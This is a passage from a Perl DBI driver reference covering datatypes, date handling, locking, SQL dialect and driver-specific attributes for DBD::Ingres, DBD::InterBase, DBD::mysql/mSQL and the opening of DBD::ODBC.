FLOAT4

4-byte floating

-1.0e+38 to 1.0e+38 (7 digits)

FLOAT

8-byte floating

-1.0e+38 to 1.0e+38 (16 digits)

MONEY

8-byte money

$-999,999,999,999.99 to $999,999,999,999.99

DECIMAL

fixed-point numeric

Depends on precision (max 31) and scale

DBD::Ingres always returns all numbers as Perl numbers -- integers where possible, floating point otherwise. It is therefore possible that some precision may be lost when fetching DECIMAL types with a precision greater than Perl numbers (usually 16). If that's an issue, then convert the value to a string in the SELECT expression.

String data handling

Ingres and DBD::Ingres supports the following string datatypes:

VARCHAR(size)
CHAR(size)
TEXT(size)
C(size)

All string types have a limit of 2000 bytes. The CHAR, TEXT, and C types are fixed length and blank padded.

All string types can handle national character sets. The C type will accept only printing characters. CHAR and VARCHAR accept all character values including embedded nul characters ( "\0" ). Unicode is not formally supported yet.

Strings can be concatenated using the SQL + operator.

Date data handling

Ingres has just one date datatype: DATE. However, it can contain either an absolute date and time or a time interval. Dates and times are in second resolution between approximately 1-JAN-1581 and 31-DEC-2382. Intervals are stored to a one second resolution.

Ingres supports a variety of date formats, depending on the setting of the environment variable II_DATE_FORMAT. The default output format is US: DD-MMM-YYYY HH:MM:SS.

Many input formats are allowed. For the default format the following are accepted: MM/DD/YYYY, DD-MMM-YYYY, MM-DD-YYYY, YYYY.MM.DD, YYYY_MM_DD, MMDDYY, MM-DD, and MM/DD.

If you specify a DATE value without a time component, the default time is 00:00:00 (midnight). If you specify a DATE value without a date, the default date is the first day of the current month. If a date format that has a two-digit year, such as the YY in DD-MON-YY (a common default), then the date returned is always in the current century.

The following date-related functions are supported:

DATE(string)              - converts a string to a date
DATE_TRUNC(unit, date)    - date value truncated to the specified unit
DATE_PART(unit, date)     - integer containing the specified part
DATE_GMT(date)            - converts date to string "YYYY_MM_DD HH:MM:SS GMT"
INTERVAL(unit, interval)  - express interval as numeric count of units

The current date and time is returned by the DATE('now') function. The current date is returned by DATE('today').

The following SQL expression can be used to convert an integer "seconds since 1-jan-1970 GMT" value to the corresponding database date/time:

DATE('01.01.1970 00:00 GMT')+DATE(CHAR(seconds_since_epoch)+' seconds')

And to do the reverse:

INT4(INTERVAL('seconds', DATE('now')-DATE('01.01.1970 00:00 GMT')))

A three-letter time zone name (from a limited set) can be appended to a date. If no time zone name is given, then the current client time zone is assumed. All datetimes are stored in the database as GMT and are converted back to the local time of the client fetching the data. All date comparisions in the server are done in GMT.

LONG/BLOB data handling

Ingres supports these LONG types:

LONG VARCHAR  - Character data of variable length up to 2 GB
LONG BYTE     - Raw binary data of variable length up to 2 GB

However, the DBD::Ingres driver does not yet support these types.

Other data handling issues

The DBD::Ingres driver supports the type_info( ) method.

Ingres supports automatic conversions between datatypes wherever it's reasonable.

Transactions, Isolation, and Locking

Ingres supports transactions. The default transaction isolation level is Serializable. OpenIngres II supports Repeatable Read, Read Commited, and Serializable.

The reading of a record sets a read-lock preventing writers from changing that record and, depending on lock granularity, possibly other records. Other readers are not hindered in their reading. Writing a record sets a lock that prevents other writers from writing, and readers from reading.

The SET LOCKMODE statement allows you to change the locking granularity. It can be set to:

ROW    - lock only the affected rows (OpenIngres II only)
PAGE   - lock the page that contains the affected row
TABLE  - lock the entire table

With the statement SET LOCKMODE SESSION WHERE READLOCK=NOLOCK it is possible, but definitely not recommended, to set the isolation level to Read Uncommited.

SQL Dialect

Case sensitivity of LIKE operator

The LIKE operator is case-sensitive.

Table join syntax

OpenIngres supports outer joins in ANSI SQL-92 syntax. Ingres 6.4 does not support outer joins.

Table and column names

The names of identifiers cannot exceed 32 characters. The first character must be a letter or an underscore ( _), but the rest can be any combination of letters, numerals, dollar signs ($), pound signs (#), and at signs ( @).

However, if an identifier is enclosed by double quotes ("), it can contain any combination of legal characters, including spaces but excluding quotation marks. This is not supported in Ingres 6.4.

Case significance is determined by the settings for the Ingres installation as set by the administrator when Ingres is installed.

National character sets can be used in identifiers, if enclosed in double quotes.

Row ID

The Ingres "row ID" pseudocolumn is called tid. It's an integer. It can be used without special handling. For example:

SELECT * FROM table WHERE tid=1029;

Automatic key or sequence generation

OpenIngres II supports "logical key" columns. They are defined by using a special datatype: TABLE_KEY WITH SYSTEM MAINTAINED. Ingres 6.4 required an extra-cost option to support that feature.

A column can be defined as either TABLE_KEY or OBJECT_KEY. Table_keys are unique in the table, whereas object_keys are unique in the entire database.

DBD::Ingres can't currently find the value of the last automatic key inserted, though it may do so in the future if enough people ask nicely, or someone contributes the code.

Automatic row numbering and row count limiting

Neither automatic row numbering nor row count limitations are supported.

Positioned updates and deletes

Positioned updates and deletes are supported in DBD::Ingres version 0.20 using the WHERE CURRENT OF syntax. For example:

$dbh->do("UPDATE ... WHERE CURRENT OF $sth->{CursorName}");

The CursorName is automatically defined by DBD::Ingres for each prepared statement.

Parameter Binding

Parameter binding is directly supported by Ingres. Only the standard ? placeholder style is supported.

When using the bind_ param() method, the common integer, float, and char types can be defined using the TYPE attribute. Unsupported values of the TYPE attribute generate a warning.

Stored Procedures

Calling a stored procedure is done by the execute procedure statement. For example:

$dbh->do("execute procedure my_proc(param1='value')");

It is not yet possible to get results.

Table Metadata

DBD::Ingres version 0.20 supports the table_info() method.

The IICOLUMNS catalog contains information about all columns of a table.

The IIINDEXES catalog contains detailed information about all indexes in the database, one row per index. The IIINDEX_COLUMNS catalog contains information about the columns that make up each index.

Primary keys are indicated in the key_sequence field of the IICOLUMNS catalog.

Driver-Specific Attributes and Methods

DBD::Ingres has no driver-specific database handle attributes. However, it does support a number of statement handle attributes. Each returns a reference to an array of values, one for each column of the select results. These attributes are:

ing_type

'i' for integer columns, 'f' for float, and 's' for strings

ing_ingtype

The numeric Ingres type of the columns

ing_length

The Ingres length of the columns (as used in the database)

DBD::Ingres supports just one private method:

get_dbevent()

This private method calls GET DBEVENT and INQUIRE_INGRES to fetch a pending database event. If called without an argument, a blocking GET DBEVENT WITH WAIT is called. A numeric argument results in a call to GET DBEVENT WITH WAIT= :seconds.

DBD::InterBase

General Information

Driver version

DBD::InterBase version 0.021

This version of the DBD::InterBase driver is a pure Perl wrapper module around the IBPerl module. The author is working on a direct XS version, so be sure to read the latest documentation.

Feature summary

Transactions                           Yes
Locking                                Yes, implicit and explicit
Table joins                            Yes, inner and outer
LONG/LOB datatypes                     Yes, up to 4 GB
Statement handle attributes available  After first row fetched
Placeholders                           Yes, "?" style (native)
Stored procedures                      Yes
Bind output values                     Yes
Table name letter case                 Insensitive, stored as uppercase
Field name letter case                 Insensitive, stored as uppercase
Quoting of otherwise invalid names     Yes, via double quotes
Case-insensitive "LIKE" operator       No
Server table ROW ID pseudocolumn       No
Positioned update/delete               No
Concurrent use of multiple handles     Unrestricted

Author and contact details

The driver author is Edwin Pratomo. He can be contacted via the dbi-users mailing list, or at ed.pratomo@computer.org.

Supported database versions and options

DBD::InterBase has been used to access InterBase 4.0 for Linux, and InterBase 5.5 for NT, and should also work with any version of InterBase above version 3.3 supported by IBPerl. DBD::InterBase also inherits all limitations applied to IBPerl 0.7, for instance, lack of metadata.

For further information about InterBase, refer to:

http://www.interbase.com

http://www.interbase.com/products/dsqlsyntax.html

Differences from the DBI specification

DBD::InterBase does not have access to statement metadata until after the statement has been executed and the first row fetched. Thus, attributes like $sth->{NUM_OF_FIELDS} are not available until after $sth->execute( ) and a fetch method has been called. Hopefully this will be fixed in a later version.

Connect Syntax

The DBI->connect() Data Source Name, or DSN, has the following format:

dbi:InterBase:attrs

where attrs is a semicolon-separated list of key=value pairs Valid attributes include:

database

Specifies the full path to the database within the server that should be made the default database.

host (optional)

Specify the host name of the InterBase server to connect to. Default to localhost.

role (optional)

Specify an SQL role name -- supported only in InterBase 5.0 and later.

charset (optional)

Specify the client character set to use. Useful if the client's default character set is different from the server. Using this will enable automatic character conversion from one character set to the other. Default to NONE.

DBD::InterBase supports an unlimited number of concurrent database connections to one or more databases.

Datatypes

Numeric data handling

InterBase supports INTEGER, SMALLINT, FLOAT, DOUBLE PRECISION, NUMERIC (p,s), and DECIMAL(p,s).

FLOAT and INTEGER are always 32-bit, and SMALLINT is 16-bit. DOUBLE PRECISION is platform-dependent but generally 64-bit. Precision for NUMERIC/DECIMAL is from 1 to 15, and scale is from 1 to 15.

DBD::InterBase always returns all numbers as strings.

String data handling

InterBase supports the following string datatypes:

CHAR(size)      fixed length blank-padded
VARCHAR(size)   variable length with limit

Range of size is 1 to 32,767 bytes. The character set for each field may also be specified. For example:

CHAR(size) CHARACTER SET "ISO8859_1"
VARCHAR(size) CHARACTER SET "ISO8859_1"

InterBase also supports NCHAR(size) and NCHAR(size) VARYING as aliases for the CHARACTER SET "ISO8859_1" examples above.

Date data handling

InterBase supports one flexible date datatype: DATE, which includes either date, time, or date and time information. Data that will be stored as DATE datatype should be in format: DD MON YYYY HH:MM:SS, or DD-MON-YYYY HH:MM:SS. DD and MON parts must be supplied, other parts, if omitted, will be set to current year/time.

The DD MON YYYY parts can have any value from January 1, 100 AD to February 29, 32768 AD. HH:MM:SS ranges from 00:00:00 to 23:59:59.

The year part should be written in four digits, if it is only in two digits, then InterBase will infer the century number using a sliding window algorithm: subtracting the two-digit year number entered from the last two digits of the current year, if the absolute difference is greater than 50, then the century of the number entered is 20; otherwise, it is 19.

Fetched DATE values are formatted using a strftime( ) format string. This format string can be specified as DateFormat attribute when invoking prepare( ) method. If this attribute is left unspecified, then "%c" will be used as the format string. For example:

$stmt = "SELECT * FROM BDAY";
$opt = { 'DateFormat' => "%d %B %Y" };
$array_ref = $dbh->selectall_arrayref($stmt, $opt);

InterBase does not directly support SQL-92 DATE, TIME, and TIMESTAMP datatypes.

Date literals used by InterBase are: NOW, TODAY, YESTERDAY, and TOMORROW. For example:

CREATE TABLE SALES (
    ORDER_ID INTEGER NOT NULL,
    SHIP_DATE DATE DEFAULT "NOW" NOT NULL,
PRIMARY KEY(ORDER_ID));

LONG/BLOB data handling

InterBase supports a BLOB datatype. DBD::InterBase can handle BLOBs up to 4 GB, assuming you have that much memory in your system.

A BLOB column can be defined to hold either binary data or text data; if text, then a character set can also be specified. BLOB data is stored in segments, and the segment size (up to 64 KB) can also be specified for each BLOB column.

Other data handling issues

InterBase supports automatic conversions between datatypes wherever it is reasonable.

Transactions, Isolation, and Locking

InterBase supports transactions. Transaction isolation can be altered using the SET TRANSACTION ISOLATION LEVEL x statement. Refer to the InterBase DSQL manual for full details.

Rows returned by a SELECT statement can be locked to prevent them being changed by another transaction, by appending FOR UPDATE to the select statement. Optionally, you can specify a column list in parentheses after the FOR UPDATE clause.

There is no explicit LOCK TABLE statement.

SQL Dialect

Case sensitivity of LIKE operator

The LIKE operator is case-sensitive.

Table join syntax

Outer joins and inner joins are supported and are expressed using the ISO standard SQL syntax.

Table and column names

The maximum size of table and column names can't exceed 31 characters in length. Only alphanumeric characters can be used; the first character must be a letter.

InterBase converts all identifiers to uppercase.

Row ID

There is no "Row ID" concept.

Automatic key or sequence generation

A mechanism to create unique, sequential number that is automatically inserted at SQL operation such as INSERT, UPDATE is called GENERATOR. For example:

CREATE GENERATOR generator_name
SET GENERATOR generator_name TO integer_value

where integer_value is an integer value from -2**31 to 2**31 - 1. The SET GENERATOR command sets the starting value of a newly created generator, or resets the value of an existing generator.

To use the generator, InterBase's GEN_ID function should be invoked. For example:

INSERT INTO SALES (PO_NUMBER) VALUES (GEN_ID(generator_name, step))

There's no DROP GENERATOR command; here is how to delete a GENERATOR:

DELETE FROM RDB$GENERATORS WHERE RDB$GENERATOR_NAME = 'generator_name'

Automatic row numbering and row count limiting

Neither automatic row numbering nor row count limitations are supported.

Positioned updates and deletes

InterBase does not support positioned updates or deletes.

Parameter Binding

Parameter binding is supported directly by InterBase. DBD::InterBase supports the ? placeholder style.

The TYPE attribute of the bind_ param() as well as type_info() method are not yet supported.

Stored Procedures

InterBase does support stored procedures, but neither DBD::InterBase nor IBPerl has support for them that yet.

Table Metadata

DBD::InterBase hasn't yet supported the table_info() method.

Driver-Specific Attributes and Methods

There are no significant DBD::InterBase driver-specific database handle attributes.

DBD::mysql and DBD::mSQL

General Information

Driver version

DBD::mysql and DBD::mSQL versions 1.20xx and 1.21_xx

Version 1.20xx (even numbers) is the stable line, which is maintained for bug and portability fixes only. Version 1.21_xx (odd numbers) is used for development of the driver: all new features or interface modifications will be done in this line until it finally becomes 1.22xx.

Feature summary

Transactions                           No
Locking                                Yes, explicit (MySQL only)
Table joins                            Yes, inner and outer (inner only for mSQL)
LONG/LOB datatypes                     Yes, up to 4 GB
Statement handle attributes available  After execute(  )
Placeholders                           Yes, "?" (emulated)
Stored procedures                      No
Bind output values                     No
Table name letter case                 Depends on filesystem, stored as defined
Field name letter case                 Insensitive/Sensitive (MySQL/mSQL), stored
                                       as defined
Quoting of otherwise invalid names     No
Case-insensitive "LIKE" operator       Varies, see description below
Server table ROW ID pseudocolumn       Yes, "_rowid" (mSQL only)
Positioned update/delete               No
Concurrent use of multiple handles     Unrestricted

Author and contact details

The driver author is Jochen Wiedmann. He can be contacted via the mailing list Msql-Mysql-modules@lists.mysql.com.

Supported database versions and options

MySQL and mSQL are freely available, small, efficient database servers. MySQL has a rich feature set while mSQL is quite minimalist.

The DBD::mysql driver 1.20xx supports all MySQL versions since around 3.20. The DBD::mysql driver 1.21_xx supports MySQL 3.22 or later.

The DBD::mSQL drivers 1.20xx and 1.21_xx support all mSQL versions up to and including mSQL 2.0.x.

For further information about MySQL:

http://www.mysql.com/

For further information about mSQL:

http://www.blnet.com/msqlpc

http://www.hughes.com.au/

Differences from the DBI specification

Both DBD::mysql and DBD::mSQL do not fully parse the statement until it's executed. Thus attributes like $sth->{NUM_OF_FIELDS} are not available until after $sth->execute() has been called. This is valid behavior, but is important to note when porting applications written originally for other drivers.

Also note that many statement attributes cease to be available after fetching all the result rows or calling the finish( ) method.

Connect Syntax

The DBI->connect() Data Source Name, or DSN, can be one of the following:

DBI:mysql:attrs
DBI:mSQL:attrs

where attrs is a semicolon-separated list of key=value pairs. Valid attributes include:

database=$database

The database name you want to connect to.

host=$host

The name of the machine running the server for the database you want to connect to, by default localhost.

msql_configfile=$file

Load driver-specific settings from the given file, by default InstDir/msql.conf.

mysql_compression=1

For slow connections, you may wish to compress the traffic between your client and the engine. If the MySQL engine supports it, this can be enabled by using this attribute. Default is off.

There are no driver-specific attributes applicable to the connect() method. The number of database and statement handles is limited by memory only. There are no restrictions on their concurrent use.

Datatypes

Numeric data handling

MySQL has five sizes of integer datatype, each of which can be signed (the default) or unsigned (by adding the word UNSIGNED after the type name).

Name

Bits

Signed Range

Unsigned Range

TINYINT

8

-128..127

0..255

SMALLINT

16

-32768..32767

0..65535

MEDIUMINT

24

-8388608..8388607

0..16777215

INTEGER

32

-2147483648..2147483647

0..4294967295

BIGINT

64

-(2*63)..(2**63-1)

0..(2**64)

The type INT can be used as an alias for
INTEGER. Other aliases include
INT1=TINYINT, INT2=SMALLINT,
INT3=MEDIUMINT, INT4=INT,
INT8=BIGINT, and
MIDDLEINT=MEDIUMINT.

Note that all arithmetic is done using signed BIGINT or DOUBLE values, so you shouldn't use unsigned big integers larger than the largest signed big integer (except with bit functions). Note that -, +, and * will use BIGINT arithmetic when both arguments are INTEGER values. This means that if you multiply two big integers (or multiply the results from functions that return integers), you may get unexpected results if the result is bigger than 9223372036854775807.

MySQL has three main non-integer datatypes: FLOAT, DOUBLE, and DECIMAL. Aliases FLOAT4 for FLOAT and FLOAT8 for DOUBLE also work.

In what follows, the letter M is used for the maximum display size or PRECISION in ODBC and DBI terminology. The letter D is used for the number of digits that may follow the decimal point. (SCALE in ODBC and DBI terminology).

Maximum display size (PRECISION) and number of fraction digits (SCALE) are typically not required. For example, if you use just "DOUBLE," then default values will be silently inserted.

DOUBLE(M,D)

A normal-size (double-precision) floating-point number. Allowable values are -1.7976931348623157e+308 to -2.2250738585072014e-308, and 2.225073858 5072014e-308 to 1.7976931348623157e+308.

REAL and DOUBLE PRECISION can be used as aliases for DOUBLE.

FLOAT(M,D)

A small (single-precision) floating-point number. Allowable values are -3.402823466e+38 to -1.175494351e-38, and -1.175494351e-38 to 3.40282346 6e+38.

FLOAT(M)

A floating-point number. Precision (M) can be 4 or 8. FLOAT(4) is a single-precision number and FLOAT(8) is a double-precision number. These types are like the FLOAT and DOUBLE types described above. FLOAT(4) and FLOAT(8) have the same ranges as the corresponding FLOAT and DOUBLE types, but their display size and number of decimals is undefined.

DECIMAL(M,D)

The DECIMAL type is an unpacked floating-point number type. NUMERIC is an alias for DECIMAL. It behaves like a CHAR column; "unpacked" means the number is stored as a string, using one character for each digit of the value, and the decimal point. If D is 0, values will have no decimal point or fractional part. The maximum range of DECIMAL values is the same as for DOUBLE, but the actual range for a given DECIMAL column may be constrained by the choice of M and D.

NUMERIC can be used as an alias for DECIMAL.

The numeric datatypes supported by mSQL are much more restricted:

INTEGER corresponds to MySQL's INTEGER type.

UINT corresponds to MySQL's INTEGER UNSIGNED type.

REAL corresponds to MySQL's REAL type.

The driver returns all datatypes, including numbers, as strings. It thus puts no restriction on size of PRECISION or SCALE.

String data handling

The following string types are supported by MySQL, quoted from mysql.info where M denotes the maximum display size or PRECISION:

CHAR(M)

A fixed-length string that is always right-padded with spaces to the specified length. The range of M is 1 to 255 characters.

VARCHAR(M)

A variable-length string. Note that trailing spaces are removed by the database when the value is stored (this differs from the ANSI SQL specification). The range of M is 1 to 255 characters.

ENUM('value1','value2',...)

An enumeration. A string object that can have only one value, chosen from the specified list of values (or NULL). An ENUM can have a maxiumum of 65535 distinct values.

SET('value1','value2',...)

A set. A string object that can have zero or more values, each of which must be chosen from the specified list of values. A SET can have a maximum of 64 members.

CHAR and VARCHAR types have a limit of 255 bytes. Binary characters, including the NUL byte, are supported by all string types. (Use the $dbh->quote( ) method for literal strings).

These aliases are also supported:

BINARY(num)      CHAR(num) BINARY
CHAR VARYING     VARCHAR
LONG VARBINARY   BLOB
LONG VARCHAR     TEXT
VARBINARY(num)   VARCHAR(num) BINARY

With DBD::mysql, the ChopBlanks attribute is always on. The MySQL engine itself removes spaces from the string's right end. Another "feature" is that CHAR and VARCHAR columns are always case-insensitive in comparisons and sort operations, unless you use the BINARY attribute, as in:

CREATE TABLE foo (A VARCHAR(10) BINARY)

With versions of MySQL after 3.23, you can perform a case-insensitve comparison of strings with the BINARY operator modifier:

SELECT * FROM table WHERE BINARY column = "A"

National language characters are handled in comparisons following the coding system that was specified at compile-time, by default ISO-8859-1. Non-ISO coding systems, and in particular UTF-16, are not supported.

Strings can be concatenated using the CONCAT(s1, s2, ...) SQL function.

The mSQL engine (and hence the DBD::mSQL driver) supports only the CHAR(M) string type, which corresponds to the MySQL's VARCHAR(M) type, and a TEXT(M) type, which is a cross between a CHAR and a BLOB. All string types have trailing spaces removed by mSQL. Also, mSQL has no way to concatenate strings.

Date data handling

The following date and time types are supported by MySQL, and quoted from mysql.info:

DATE

A date. The supported range is 0000-01-01 to 9999-12-31. MySQL displays DATE values in YYYY-MM-DD format, but allows you to assign values to DATE columns using these formats:

YYMMDD
YYYYMMDD
YY.MM.DD
YYYY.MM.DD

Where . may be any non-numerical separator, and a two-digit year is assumed to be 20YY if YY is less than 70.

DATETIME

A date and time combination. The supported range is 0000-01-01 00:00:00 to 9999-12-31 23:59:59. MySQL displays DATETIME values in YYYY-MM-DD HH:MM:SS format, but allows you to assign values to DATETIME columns using the formats shown for DATE above but with HH:MM:SS appended.

TIMESTAMP(M)

A timestamp. The range is 1970-01-01 00:00:00 to sometime in the year 2032 (or 2106, depending on the OS specific type time_t). MySQL displays TIMESTAMP values in YYYYMMDDHHMMSS, YYMMDDHHMMSS, YYYYMMDD, or YYMMDD format, depending on whether M is 14 (or missing), 12, 8, or 6, but allows you to assign values to TIMESTAMP columns using either strings or numbers. This output format behavior disagrees with the manual, so check your version because the behavior may change.

A TIMESTAMP column is useful for recording the time of an INSERT or UPDATE operation because it is automatically set to the time of the last operation if you don't give it a value yourself. You can also set it to the current time by giving it a NULL value.

TIME

A time. The range is -838:59:59 to 838:59:59. MySQL displays TIME values in HH:MM:SS format. You can assign values to TIME columns using these formats: [[[DAYS] [H]H:]MM:]SS[.fraction] or [[[[[H]H]H]H]MM]SS [.fraction].

YEAR

A year. The allowable values are 1901-2155, and 0000 in the four-digit year format, and 1970-2069 if you use the two-digit year format (70-69). On input, two-digit years in the range 00-69 are assumed to be 2000-2069. (YEAR is a new type for MySQL 3.22.)

If you are using two-digit years as in YY-MM-DD (dates) or YY (years), then they are converted into 2000-2069 and 1970-1999, repectively. Thus, MySQL has no Y2K problem, but a Y2070 problem!

In MySQL 3.23, this feature will be changed to 2000-2068 and 1969-1999, following the X/Open Unix standard.[73]

[73]See http://www.unix-systems.org/version2/whatsnew/year2000.html.

The NOW() function, and its alias SYSDATE, allow you to refer to the current date and time in SQL.

The DATE_FORMAT(date, format) function can be used to format date and time values using printf-like format strings.

MySQL has a rich set of functions operating on dates and times, including DAYOFWEEK(date) (1 = Sunday, ..., 7 = Saturday), WEEKDAY(date) (0 = Monday, ..., 6 = Sunday), DAYOFMONTH(date), DAYOFYEAR(date), MONTH(date), DAYNAME (date), MONTHNAME(date), WEEK(date), YEAR(date), HOUR(time), MINUTE (time), SECOND(time), DATE_ADD(date, interval) (interval being something like "2 HOURS"), and DATE_SUB(date, interval).

The following SQL expression can be used to convert an integer "seconds since 1-jan-1970 GMT" value to the corresponding database date/time:

FROM_UNIXTIME(seconds_since_epoch)

and the reverse:

UNIX_TIMESTAMP(timestamp)

MySQL does no automatic time zone adjustments.

The mSQL database supports these date/time types:

DATE  - corresponds to MySQL's DATE type
TIME  - corresponds to MySQL's TIME type

The only date format supported by mSQL is DD-MMM-YYYY, where MMM is the three-character English abbreviation for the month name. The only time format supported by mSQL is HH:MM:SS.

LONG/BLOB data handling

These are MySQL's BLOB types, quoted from mysql.info :

TINYBLOB   / TINYTEXT    maximum length of 255 (2**8 - 1)
BLOB       / TEXT        maximum length of 65535 (2**16 - 1)
MEDIUMBLOB / MEDIUMTEXT  maximum length of 16777215 (2**24 - 1)
LONGBLOB   / LONGTEXT    maximum length of 4294967295 (2**32 - 1)

Binary characters in all BLOB types are allowed. The LongReadLen and LongTruncOk types are not supported.

The maximum length of bind_ param( ) parameter values is only limited by the maximum length of an SQL statement. By default that's 1MB but can be extended to just under 24 MB by changing the mysqld variable max_allowed_packet.

No TYPE or other attributes need to be given to bind_ param( ) when binding these types.

The only BLOB type supported by mSQL is TEXT. This is a cross between a traditional VARCHAR type and a BLOB. An average width is specified, and data longer than average is automatically stored in an overflow area in the table.

Other data handling issues

The driver versions 1.21_xx and above do support the type_info( ) method.

MySQL supports automatic conversions between datatypes wherever it's reasonable. mSQL, on the other hand, supports none.

Transactions, Isolation, and Locking

Both mSQL and MySQL do not support transactions.

Since both mSQL and MySQL currently execute statements from multiple clients one at a time (atomic), and don't support transactions, there's no need for a default locking behavior to protect transaction isolation.

With MySQL, locks can be explicitly obtained on tables. For example:

LOCK TABLES table1 READ, table2 WRITE

Locks are released with any subsequent LOCK TABLES statement, by dropping a connection or with an explicit command:

UNLOCK TABLES

There are also user-defined locks that can be manipulated with the GET_LOCK() and RELEASE_LOCK() SQL functions. You can't automatically lock rows or tables during SELECT statements; you have to do it explicitly.

And, as you might guess, mSQL doesn't support any kind of locking at the moment.

SQL Dialect

Case sensitivity of LIKE operator

With MySQL, case-sensitivity of all character comparison operators, including LIKE, requires on the presence of the BINARY attribute on at least one of the fields -- either on the field type in the CREATE TABLE statement or on the field name in the comparison operator. However, you can always force case-insensitivity using the TOLOWER function.

mSQL has three LIKE operators: LIKE is case-sensitive, CLIKE is case-insensitive, and RLIKE uses Unix style regular expressions.

Table join syntax

Joins are supported with the usual syntax:

SELECT * FROM a,b WHERE a.field = b.field

or, alternatively:

SELECT * FROM a JOIN b USING field

Outer joins are supported by MySQL, not mSQL, with:

SELECT * FROM a LEFT OUTER JOIN b ON condition

Outer joins in MySQL are always left outer joins.

Table and column names

MySQL table and column names may have at most 64 characters. mSQL table and column names are limited to 35 characters.

With MySQL, you can put single quotes around table or column names (you can use the standard double quotes if the database is started with the --ansi-mode option). You need to do that if the name contains special characters or matches a reserved word. Quoting identifiers isn't supported by mSQL.

Table names are limited by the fact that tables are stored in files and the table names are really file names. In particular, the case-sensitivity of table names depends on the underlying file system and some characters like . and / are not allowed.

Column names are case-insensitive with MySQL and case-sensitive with mSQL, but both engines store them without case conversions.

Names can include national character set characters (with the eighth bit set) in MySQL but not mSQL.

Row ID

MySQL doesn't have row IDs. mSQL has a pseudocolumn _rowid.

The mSQL _rowid column value is numeric and, since mSQL doesn't automatically convert strings to numbers, you must take care not to quote the value when using it in later SELECT statements.

Note that because transactions and locking aren't supported, there's a greater risk that the row identified by a _rowid value you just fetched may have been deleted and possibly replaced by a different row by the time you use the row ID value moments later.

Automatic key or sequence generation

All MySQL integer table fields can have an AUTO_INCREMENT attribute. That is, given a table:

CREATE TABLE a (
  id INTEGER AUTO_INCREMENT NOT NULL PRIMARY KEY,
  ...)

and a statement:

INSERT INTO a (id, ...) VALUES (NULL, ...)

a unique ID will be generated automatically (similarly, if the ID field had not been mentioned in the insert statement at all). The generated ID can later be retrieved with:

$sth->{mysql_insertid}                (1.21_xx)
$sth->{insertid}                      (1.20_xx)

or, if you've used $dbh->do and not prepare/execute, then use:

$dbh->{mysql_insertid}                (1.21_xx)
$dbh->do("SELECT LAST_INSERT_ID(  )");  (1.20_xx)

MySQL does not support sequence generators directly, but they can be emulated with a little care (refer to the MySQL manual for details). For example:

UPDATE seq SET id=last_insert_id(id+1)

The mSQL database supports sequence generators, but just one per table. After executing:

CREATE SEQUENCE on A

you can later do:

SELECT _seq FROM A

to fetch the value. You can't refer directly to the sequence from an insert statement; instead, you have to fetch the sequence value and then execute an insert with that value.

Automatic row numbering and row count limiting

Neither engine supports automatic row numbering of SELECT statement results.

Both mSQL and MySQL support row count limiting with:

SELECT * FROM A LIMIT 10

to retrieve the first 10 rows only, but only MySQL supports:

SELECT * FROM A LIMIT 20, 10

to retrieve rows 20-29, with the count starting at 0.

Positioned updates and deletes

Neither positioned updates nor deletes are supported by MySQL or mSQL.

Parameter Binding

Neither engine supports placeholders, but the DBD::mysql and DBD::mSQL drivers provide full emulation. Question marks are used as placeholders, as in:

$dbh->do("INSERT INTO table VALUES (?, ?)", undef, $id, $name);

The :1 placeholder style is not supported.

In the above example, the driver attempts to guess the datatype of the inserted values by looking at Perl's own internal string versus number datatype hints. This is fine with MySQL, because MySQL can deal with expressions like:

INSERT INTO table (id_number) VALUES ('2')

where id_number is a numeric column. But this doesn't apply to mSQL, which would treat that as an error. So you sometimes need to force a datatype, either by using:

$dbh->do("INSERT INTO table VALUES (?, ?)", undef, int($id), "$name");

or by using the TYPE attribute of the bind_ param() method:

use DBI qw(:sql_types);
$sth = $dbh->prepare("INSERT INTO table VALUES (?, ?)");
$sth->bind_param(1, $id,   SQL_INTEGER);
$sth->bind_param(2, $name, SQL_VARCHAR);
$sth->execute();

Unsupported values of the TYPE attribute do not currently generate a warning.

Stored Procedures

Neither mSQL nor MySQL have a concept of stored procedures, although there are plans to add some stored procedure features to MySQL.

Table Metadata

The 1.21_xx version of the drivers was the first to support the table_info() method.

To obtain information on a generic table, you can use the query:

LISTFIELDS $table

This will return a statement handle without result rows. The TYPE, NAME, ... attributes are describing the table.

With MySQL you can use:

SHOW INDEX FROM $table

to retrieve information on a table's indexes, in particular a primary key. The information will be returned in rows. The DBD::mSQL driver does support a similar thing using:

LISTINDEX $table $index

with $index being the name of a given index.

Driver-Specific Attributes and Methods

The following driver-specific database handle attributes are supported:

mysql_info
mysql_thread_id
mysql_insertid

These attributes correspond to the C calls
mysql_info(),
mysql_thread_id(), and
mysql_insertid(), respectively.

The following driver-specific statement handle attributes are supported:

mysql_use_result
mysql_store_result

With DBD::mysql, there are two different ways the driver fetches results from the server. With mysql_store_result enabled, it fetches all rows at once, creating a result table in memory and returns it to the caller (a 100% row cache).

With mysql_use_result, it returns rows to the application as they are fetched. This is less memory-consuming on the client side, but should not be used in situations where multiple people can query the database, because it can block other applications. (Don't confuse that with locking!)

mysql_insertid

A previously generated auto_increment column value, if any.

mysql_is_blob
mysql_is_key
msql_is_num
mysql_is_num
msql_is_ pri_key
mysql_is_ pri_key

These attributes return an array ref with the given flags set for any column of the result set. Note you may use these with the LISTFIELDS query to obtain information about the columns of a table.

mysql_max_length

Unlike the PRECISION attribute, this returns the true actual maximum length of the particular data in the current result set. This can be helpful, for example, when displaying ASCII tables.

This attribute doesn't work with mysql_use_result enabled, since it needs to look at all the data.

msql_table
mysql_table

Similar to NAME, but the table names and not the column names are returned.

msql_type
mysql_type

Similar to TYPE, but they return the respective engine's native type.

msql_type_name
mysql_type_name

Similar to msql_type and mysql_type, but column names are returned, that you can use in a CREATE TABLE statement.

A single private method called admin() is supported. It provides a range of administration functions:

$rc = $drh->func('createdb', $db, $host, $user, $password, 'admin');
$rc = $drh->func('dropdb',   $db, $host, $user, $password, 'admin');
$rc = $drh->func('shutdown',      $host, $user, $password, 'admin');
$rc = $drh->func('reload',        $host, $user, $password, 'admin');

$rc = $dbh->func('createdb', $database, 'admin');
$rc = $dbh->func('dropdb',   $database, 'admin');
$rc = $dbh->func('shutdown',            'admin');
$rc = $dbh->func('reload',              'admin');

These correspond to the respective commands of mysqladmin and msqladmin.

DBD::ODBC

General Information

Driver version

DBD::ODBC version 0.20

Feature summary

Because DBD::ODBC acts as an interface to other database drivers, much of its behavior is governed by those drivers.

Transactions                           Dependent on connected data source
Locking                                Dependent on connected data source
Table joins                            Dependent on connected data source
LONG/LOB datatypes                     Dependent on connected data source
Statement handle attributes available  After prepare(  )
Placeholders                           Yes
Stored procedures                      Yes
Bind output values                     No
